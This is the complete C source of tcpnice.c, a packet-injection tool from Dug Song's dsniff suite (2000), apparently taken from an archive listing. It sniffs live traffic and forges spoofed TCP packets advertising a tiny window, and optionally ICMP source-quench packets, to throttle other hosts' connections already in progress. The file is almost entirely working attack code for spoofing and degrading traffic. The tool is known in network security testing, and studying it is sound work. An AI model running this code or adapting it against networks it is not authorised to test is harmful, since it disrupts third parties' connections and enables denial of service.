home *** CD-ROM | disk | FTP | other *** search
- /*
- tcpnice.c
-
- Slow down TCP connections already in progress.
-
- this program is a gross hack. feh.
-
- Copyright (c) 2000 Dug Song <dugsong@monkey.org>
- All rights reserved, all wrongs reversed.
-
- Redistribution and use in source and binary forms, with or without
- modification, are permitted provided that the following conditions
- are met:
-
- 1. Redistributions of source code must retain the above copyright
- notice, this list of conditions and the following disclaimer.
- 2. Redistributions in binary form must reproduce the above copyright
- notice, this list of conditions and the following disclaimer in the
- documentation and/or other materials provided with the distribution.
- 3. The name of author may not be used to endorse or promote products
- derived from this software without specific prior written permission.
-
- THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
- INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
- AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
- THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
- OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
- WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
- OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
- ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
- $Id: tcpnice.c,v 1.5 2000/01/27 17:59:36 dugsong Exp $
- */
-
- #include <sys/types.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
- #include <libnet.h>
- #include <pcap.h>
-
- #include "version.h"
-
- #define MIN_NICE 1
- #define MAX_NICE 20
- #define DEFAULT_NICE 16
-
- /* Globals. */
- int Opt_nice = DEFAULT_NICE;
- int Opt_verbose = 0;
- int Opt_icmp = 0;
- int pcap_dl_offset;
-
- void
- usage(void)
- {
- fprintf(stderr, "Usage: tcpnice [-v] [-I] [-i interface] [-n increment] [expression]\n");
- exit(1);
- }
-
- /* Start sniffing on an interface. */
- pcap_t *
- pcap_init(char *intf, char *filter, int snaplen)
- {
- pcap_t *pd;
- u_int net, mask;
- struct bpf_program fcode;
- char ebuf[PCAP_ERRBUF_SIZE];
-
- if ((pd = pcap_open_live(intf, snaplen, 1, 1024, ebuf)) == NULL) {
- fprintf(stderr, "%s\n", ebuf);
- return (NULL);
- }
- if (pcap_lookupnet(intf, &net, &mask, ebuf) == -1) {
- fprintf(stderr, "%s\n", ebuf);
- return (NULL);
- }
- if (pcap_compile(pd, &fcode, filter, 1, mask) < 0) {
- pcap_perror(pd, "pcap_compile");
- return (NULL);
- }
- if (pcap_setfilter(pd, &fcode) == -1) {
- pcap_perror(pd, "pcap_compile");
- return (NULL);
- }
- switch (pcap_datalink(pd)) {
- case DLT_EN10MB:
- pcap_dl_offset = 14;
- break;
- case DLT_IEEE802:
- pcap_dl_offset = 22;
- break;
- case DLT_FDDI:
- pcap_dl_offset = 21;
- break;
- #ifdef DLT_LOOP
- case DLT_LOOP:
- #endif
- case DLT_NULL:
- pcap_dl_offset = 4;
- break;
- default:
- fprintf(stderr, "unsupported datalink type\n");
- return (NULL);
- }
- return (pd);
- }
-
- /* from tcpdump util.c. */
- char *
- copy_argv(register char **argv)
- {
- char **p, *buf, *src, *dst;
- u_int len = 0;
-
- p = argv;
- if (*p == 0)
- return 0;
-
- while (*p)
- len += strlen(*p++) + 1;
-
- if ((buf = (char *)malloc(len)) == NULL) {
- perror("malloc");
- exit(1);
- }
- p = argv;
- dst = buf;
- while ((src = *p++) != NULL) {
- while ((*dst++ = *src++) != '\0')
- ;
- dst[-1] = ' ';
- }
- dst[-1] = '\0';
-
- return buf;
- }
-
- void
- tcp_nice_loop(pcap_t *pd, int sock)
- {
- struct pcap_pkthdr pkthdr;
- struct ip *ip;
- struct tcphdr *tcp;
- struct icmp *icmp;
- u_char *pkt, buf[IP_H + ICMP_ECHO_H + 128];
- int len, nice;
-
- libnet_seed_prand();
-
- nice = 160 / Opt_nice;
-
- for (;;) {
- if ((pkt = (char *)pcap_next(pd, &pkthdr)) != NULL) {
- ip = (struct ip *)(pkt + pcap_dl_offset);
- if (ip->ip_p != IPPROTO_TCP) continue;
-
- tcp = (struct tcphdr *)((u_char *)ip + (ip->ip_hl * 4));
- if (tcp->th_flags & (TH_SYN|TH_FIN|TH_RST) ||
- ntohs(tcp->th_win) == nice)
- continue;
-
- if (Opt_icmp) {
- /* Send ICMP source quench. */
- len = (ip->ip_hl * 4) + 8;
- libnet_build_ip(ICMP_ECHO_H + len, 0, libnet_get_prand(PRu16),
- 0, 64, IPPROTO_ICMP, ip->ip_dst.s_addr,
- ip->ip_src.s_addr, NULL, 0, buf);
-
- icmp = (struct icmp *)(buf + IP_H);
- icmp->icmp_type = 4;
- icmp->icmp_code = 0;
- memcpy((u_char *)icmp + ICMP_ECHO_H, (u_char *)ip, len);
-
- libnet_do_checksum(buf, IPPROTO_ICMP, ICMP_ECHO_H + len);
- len += (IP_H + ICMP_ECHO_H);
- if (libnet_write_ip(sock, buf, len) != len)
- perror("write");
- }
-
- /* Send tiny window advertisement. */
- ip->ip_hl = 5;
- ip->ip_len = htons(IP_H + TCP_H);
- ip->ip_id = libnet_get_prand(PRu16);
- memcpy(buf, (u_char *)ip, IP_H);
-
- tcp->th_off = 5;
- tcp->th_win = htons(nice);
- memcpy(buf + IP_H, (u_char *)tcp, TCP_H);
-
- libnet_do_checksum(buf, IPPROTO_TCP, TCP_H);
- len = IP_H + TCP_H;
- if (libnet_write_ip(sock, buf, len) != len)
- perror("write");
-
- if (Opt_verbose)
- fprintf(stderr, "slow %s:%d > %s:%d\n",
- libnet_host_lookup(ip->ip_src.s_addr, 0), ntohs(tcp->th_sport),
- libnet_host_lookup(ip->ip_dst.s_addr, 0), ntohs(tcp->th_dport));
- }
- }
- }
-
- int
- main(int argc, char *argv[])
- {
- int c, sock;
- char *intf, *filter, ebuf[PCAP_ERRBUF_SIZE];
- pcap_t *pd;
-
- intf = NULL;
-
- while ((c = getopt(argc, argv, "i:n:vIh?V")) != -1) {
- switch (c) {
- case 'i':
- intf = optarg;
- break;
- case 'n':
- Opt_nice = atoi(optarg);
- if (Opt_nice < MIN_NICE || Opt_nice > MAX_NICE)
- usage();
- break;
- case 'v':
- Opt_verbose = 1;
- break;
- case 'I':
- Opt_icmp = 1;
- break;
- case 'V':
- fprintf(stderr, "Version: %s\n", VERSION);
- usage();
- break;
- default:
- usage();
- break;
- }
- }
- if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL) {
- fprintf(stderr, "%s\n", ebuf);
- exit(1);
- }
- argc -= optind;
- argv += optind;
-
- if (argc == 0) filter = "tcp[13] & 16 != 0";
- else filter = copy_argv(argv);
-
- if ((pd = pcap_init(intf, filter, 128)) == NULL)
- exit(1);
-
- if ((sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1) {
- perror("socket");
- exit(1);
- }
-
- tcp_nice_loop(pd, sock);
-
- /* NOTREACHED */
-
- exit(0);
- }
-
- /* 5000. */
-